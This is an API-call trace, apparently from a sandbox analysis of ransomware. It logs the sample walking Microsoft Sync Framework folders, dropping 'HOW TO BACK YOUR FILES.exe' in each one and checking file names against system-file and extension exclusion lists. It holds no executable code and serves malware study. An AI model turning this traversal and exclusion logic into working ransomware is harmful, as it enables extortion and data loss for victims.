	[0062.579] lstrlenW (lpString="x64") returned 3
	[0062.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\*") returned 56
	[0062.579] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="x64" | out: lpString1="x64") returned="x64"
	[0062.579] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0062.579] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x76) returned 0x5916c0
	[0062.579] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7b70
	[0062.579] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0
	[0062.579] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0062.579] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b10
	[0062.579] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64"
	[0062.579] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0062.579] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0062.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64") returned 58
	[0062.579] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64" | out: lpString1="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64"
	[0062.579] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.579] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.590] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.590] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d5f9f10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d5f9f10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.590] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.590] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.590] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.590] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d5f9f10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d5f9f10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.590] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.590] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.590] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.590] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.590] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x38770, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FeedSync.dll", cAlternateFileName="")) returned 1
	[0062.590] lstrcmpiW (lpString1="FeedSync.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.590] lstrcmpiW (lpString1="FeedSync.dll", lpString2="Apollon865.txt.exe") returned 1
	[0062.590] lstrcmpiW (lpString1="FeedSync.dll", lpString2=".") returned 1
	[0062.590] lstrcmpiW (lpString1="FeedSync.dll", lpString2="..") returned 1
	[0062.590] lstrcmpiW (lpString1="FeedSync.dll", lpString2="windows") returned -1
	[0062.590] lstrcmpiW (lpString1="FeedSync.dll", lpString2="bootmgr") returned 1
	[0062.591] lstrcmpiW (lpString1="FeedSync.dll", lpString2="temp") returned -1
	[0062.591] lstrcmpiW (lpString1="FeedSync.dll", lpString2="pagefile.sys") returned -1
	[0062.591] lstrcmpiW (lpString1="FeedSync.dll", lpString2="boot") returned 1
	[0062.591] lstrcmpiW (lpString1="FeedSync.dll", lpString2="ids.txt") returned -1
	[0062.591] lstrcmpiW (lpString1="FeedSync.dll", lpString2="ntuser.dat") returned -1
	[0062.591] lstrcmpiW (lpString1="FeedSync.dll", lpString2="perflogs") returned -1
	[0062.591] lstrcmpiW (lpString1="FeedSync.dll", lpString2="MSBuild") returned -1
	[0062.591] lstrlenW (lpString="FeedSync.dll") returned 12
	[0062.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\*") returned 60
	[0062.591] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="FeedSync.dll" | out: lpString1="FeedSync.dll") returned="FeedSync.dll"
	[0062.591] lstrlenW (lpString="FeedSync.dll") returned 12
	[0062.591] lstrlenW (lpString="Apollon865") returned 10
	[0062.591] lstrcmpiW (lpString1="edSync.dll", lpString2="Apollon865") returned 1
	[0062.591] lstrlenW (lpString=".dll") returned 4
	[0062.591] lstrcmpiW (lpString1="FeedSync.dll", lpString2=".dll") returned 1
	[0062.591] lstrlenW (lpString=".lnk") returned 4
	[0062.591] lstrcmpiW (lpString1="FeedSync.dll", lpString2=".lnk") returned 1
	[0062.591] lstrlenW (lpString=".ini") returned 4
	[0062.591] lstrcmpiW (lpString1="FeedSync.dll", lpString2=".ini") returned 1
	[0062.591] lstrlenW (lpString=".sys") returned 4
	[0062.591] lstrcmpiW (lpString1="FeedSync.dll", lpString2=".sys") returned 1
	[0062.591] lstrlenW (lpString="FeedSync.dll") returned 12
	[0062.591] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="Microsoft.Synchronization.dll" | out: lpString1="Microsoft.Synchronization.dll") returned="Microsoft.Synchronization.dll"
	[0062.591] lstrlenW (lpString="Microsoft.Synchronization.dll") returned 29
	[0062.591] lstrlenW (lpString="Apollon865") returned 10
	[0062.591] lstrcmpiW (lpString1="zation.dll", lpString2="Apollon865") returned 1
	[0062.591] lstrlenW (lpString=".dll") returned 4
	[0062.591] lstrcmpiW (lpString1="Microsoft.Synchronization.dll", lpString2=".dll") returned 1
	[0062.591] lstrlenW (lpString=".lnk") returned 4
	[0062.591] lstrcmpiW (lpString1="Microsoft.Synchronization.dll", lpString2=".lnk") returned 1
	[0062.591] lstrlenW (lpString=".ini") returned 4
	[0062.592] lstrcmpiW (lpString1="Microsoft.Synchronization.dll", lpString2=".ini") returned 1
	[0062.592] lstrlenW (lpString=".sys") returned 4
	[0062.592] lstrcmpiW (lpString1="Microsoft.Synchronization.dll", lpString2=".sys") returned 1
	[0062.592] lstrlenW (lpString="Microsoft.Synchronization.dll") returned 29
	[0062.592] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="resources" | out: lpString1="resources") returned="resources"
	[0062.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0062.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8a) returned 0x5c8f30
	[0062.592] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7b70
	[0062.592] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x6db60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Synchronization.dll", cAlternateFileName="SYNCHR~1.DLL")) returned 1
	[0062.592] lstrcmpiW (lpString1="Synchronization.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.592] lstrcmpiW (lpString1="Synchronization.dll", lpString2="Apollon865.txt.exe") returned 1
	[0062.592] lstrcmpiW (lpString1="Synchronization.dll", lpString2=".") returned 1
	[0062.592] lstrcmpiW (lpString1="Synchronization.dll", lpString2="..") returned 1
	[0062.592] lstrcmpiW (lpString1="Synchronization.dll", lpString2="windows") returned -1
	[0062.592] lstrcmpiW (lpString1="Synchronization.dll", lpString2="bootmgr") returned 1
	[0062.592] lstrcmpiW (lpString1="Synchronization.dll", lpString2="temp") returned -1
	[0062.592] lstrcmpiW (lpString1="Synchronization.dll", lpString2="pagefile.sys") returned 1
	[0062.592] lstrcmpiW (lpString1="Synchronization.dll", lpString2="boot") returned 1
	[0062.592] lstrcmpiW (lpString1="Synchronization.dll", lpString2="ids.txt") returned 1
	[0062.592] lstrcmpiW (lpString1="Synchronization.dll", lpString2="ntuser.dat") returned 1
	[0062.592] lstrcmpiW (lpString1="Synchronization.dll", lpString2="perflogs") returned 1
	[0062.592] lstrcmpiW (lpString1="Synchronization.dll", lpString2="MSBuild") returned 1
	[0062.592] lstrlenW (lpString="Synchronization.dll") returned 19
	[0062.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources") returned 68
	[0062.592] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="Synchronization.dll" | out: lpString1="Synchronization.dll") returned="Synchronization.dll"
	[0062.592] lstrlenW (lpString="Synchronization.dll") returned 19
	[0062.592] lstrlenW (lpString="Apollon865") returned 10
	[0062.592] lstrcmpiW (lpString1="zation.dll", lpString2="Apollon865") returned 1
	[0062.592] lstrlenW (lpString=".dll") returned 4
	[0062.592] lstrcmpiW (lpString1="Synchronization.dll", lpString2=".dll") returned 1
	[0062.592] lstrlenW (lpString=".lnk") returned 4
	[0062.592] lstrcmpiW (lpString1="Synchronization.dll", lpString2=".lnk") returned 1
	[0062.593] lstrlenW (lpString=".ini") returned 4
	[0062.593] lstrcmpiW (lpString1="Synchronization.dll", lpString2=".ini") returned 1
	[0062.593] lstrlenW (lpString=".sys") returned 4
	[0062.593] lstrcmpiW (lpString1="Synchronization.dll", lpString2=".sys") returned 1
	[0062.593] lstrlenW (lpString="Synchronization.dll") returned 19
	[0062.593] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources"
	[0062.593] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0062.593] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0062.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources") returned 68
	[0062.593] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources" | out: lpString1="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources"
	[0062.593] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.593] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.599] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.599] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d620070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d620070, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.599] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.599] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.599] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.599] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d620070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d620070, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.599] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.599] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.599] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.599] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.599] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0062.600] lstrcmpiW (lpString1="1033", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.600] lstrcmpiW (lpString1="1033", lpString2="Apollon865.txt.exe") returned -1
	[0062.600] lstrcmpiW (lpString1="1033", lpString2=".") returned 1
	[0062.600] lstrcmpiW (lpString1="1033", lpString2="..") returned 1
	[0062.600] lstrcmpiW (lpString1="1033", lpString2="windows") returned -1
	[0062.600] lstrcmpiW (lpString1="1033", lpString2="bootmgr") returned -1
	[0062.600] lstrcmpiW (lpString1="1033", lpString2="temp") returned -1
	[0062.600] lstrcmpiW (lpString1="1033", lpString2="pagefile.sys") returned -1
	[0062.600] lstrcmpiW (lpString1="1033", lpString2="boot") returned -1
	[0062.600] lstrcmpiW (lpString1="1033", lpString2="ids.txt") returned -1
	[0062.600] lstrcmpiW (lpString1="1033", lpString2="ntuser.dat") returned -1
	[0062.600] lstrcmpiW (lpString1="1033", lpString2="perflogs") returned -1
	[0062.600] lstrcmpiW (lpString1="1033", lpString2="MSBuild") returned -1
	[0062.600] lstrlenW (lpString="1033") returned 4
	[0062.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\*") returned 70
	[0062.600] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="1033" | out: lpString1="1033") returned="1033"
	[0062.600] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0062.600] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x94) returned 0x5c8f30
	[0062.600] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7b70
	[0062.600] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d620070, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d620070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.600] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.600] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d620070, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d620070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0062.600] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0062.600] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b10
	[0062.600] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033"
	[0062.600] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0062.600] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0062.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033") returned 73
	[0062.600] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033" | out: lpString1="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033"
	[0062.600] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.600] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.605] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.605] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d620070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d620070, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.605] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.605] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.606] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.606] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d620070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d620070, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.606] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.606] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.606] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.606] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.606] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d620070, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d620070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.606] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.606] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f772f00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f772f00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x3170, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Synchronization.rll", cAlternateFileName="SYNCHR~1.RLL")) returned 1
	[0062.606] lstrcmpiW (lpString1="Synchronization.rll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.606] lstrcmpiW (lpString1="Synchronization.rll", lpString2="Apollon865.txt.exe") returned 1
	[0062.606] lstrcmpiW (lpString1="Synchronization.rll", lpString2=".") returned 1
	[0062.606] lstrcmpiW (lpString1="Synchronization.rll", lpString2="..") returned 1
	[0062.606] lstrcmpiW (lpString1="Synchronization.rll", lpString2="windows") returned -1
	[0062.606] lstrcmpiW (lpString1="Synchronization.rll", lpString2="bootmgr") returned 1
	[0062.606] lstrcmpiW (lpString1="Synchronization.rll", lpString2="temp") returned -1
	[0062.606] lstrcmpiW (lpString1="Synchronization.rll", lpString2="pagefile.sys") returned 1
	[0062.606] lstrcmpiW (lpString1="Synchronization.rll", lpString2="boot") returned 1
	[0062.606] lstrcmpiW (lpString1="Synchronization.rll", lpString2="ids.txt") returned 1
	[0062.606] lstrcmpiW (lpString1="Synchronization.rll", lpString2="ntuser.dat") returned 1
	[0062.606] lstrcmpiW (lpString1="Synchronization.rll", lpString2="perflogs") returned 1
	[0062.606] lstrcmpiW (lpString1="Synchronization.rll", lpString2="MSBuild") returned 1
	[0062.606] lstrlenW (lpString="Synchronization.rll") returned 19
	[0062.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\*") returned 75
	[0062.606] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="Synchronization.rll" | out: lpString1="Synchronization.rll") returned="Synchronization.rll"
	[0062.606] lstrlenW (lpString="Synchronization.rll") returned 19
	[0062.606] lstrlenW (lpString="Apollon865") returned 10
	[0062.606] lstrcmpiW (lpString1="zation.rll", lpString2="Apollon865") returned 1
	[0062.606] lstrlenW (lpString=".dll") returned 4
	[0062.606] lstrcmpiW (lpString1="Synchronization.rll", lpString2=".dll") returned 1
	[0062.606] lstrlenW (lpString=".lnk") returned 4
	[0062.607] lstrcmpiW (lpString1="Synchronization.rll", lpString2=".lnk") returned 1
	[0062.607] lstrlenW (lpString=".ini") returned 4
	[0062.607] lstrcmpiW (lpString1="Synchronization.rll", lpString2=".ini") returned 1
	[0062.607] lstrlenW (lpString=".sys") returned 4
	[0062.607] lstrcmpiW (lpString1="Synchronization.rll", lpString2=".sys") returned 1
	[0062.607] lstrlenW (lpString="Synchronization.rll") returned 19
	[0062.607] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation"
	[0062.607] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0062.607] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0062.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation") returned 60
	[0062.607] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation" | out: lpString1="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation"
	[0062.607] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
